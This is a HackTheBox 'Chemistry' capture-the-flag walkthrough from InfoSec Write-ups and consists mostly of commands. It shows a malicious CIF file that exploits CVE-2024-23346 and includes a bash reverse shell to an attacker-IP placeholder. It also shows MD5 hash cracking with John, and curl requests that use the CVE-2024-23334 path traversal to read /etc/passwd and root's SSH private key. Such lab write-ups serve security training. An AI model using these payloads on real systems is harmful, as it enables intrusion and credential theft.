InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

Follow publication

Chemistry Walkthrough — HackTheBox

MrXcrypt
InfoSec Write-ups
Published in
6 min readMar 9, 2025

Image by Author

Introduction

Reconnaissance

sudo nmap $target -sC --top-ports=1000 -sV -v -Pn -O > nmap.out

Initial Foothold

CVE-2024–23346 Description

if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("touch pwned");0,0,0'
if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("whoami");0,0,0'
data_Example
_cell_length_a 10.00000
_cell_length_b 10.00000
_cell_length_c 10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta 90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
_atom_site_label
_atom_site_fract_x
_atom_site_fract_y
_atom_site_fract_z
_atom_site_occupancy

H 0.00000 0.00000 0.00000 1
O 0.50000 0.50000 0.50000 1
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c \'sh -i >& /dev/tcp/<attacker-ip>/4444 0>&1\'");0,0,0'
_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS "P n' m a' "

Lateral Movement

i. User Flag

sqlite3 /home/app/instance/database.db .dump
john user.hash --wordlist=/mnt/HDD1/VM\ files/kali/wordlists/rockyou.txt --format=raw-md5

ii. Root Flag

netstat -tnl
ssh -L 4000:localhost:8080 rosa@chemistry.htb
whatweb localhost:4000

CVE-2024–23334 Description

gobuster dir -u http://localhost:4000/ -w /mnt/HDD1/VM\ files/kali/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
/assets/../etc/passwd
/assets/../../etc/passwd
/assets/../../../etc/passwd
/assets/../../../../etc/passwd
and go on
curl -s --path-as-is "http://localhost:4000/assets/../../../etc/passwd"
curl -s --path-as-is "http://localhost:4000/assets/../../../../root/.ssh/id_rsa"
ssh -i id_rsa root@chemistry.htb

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

Published in InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

No responses yet

Write a response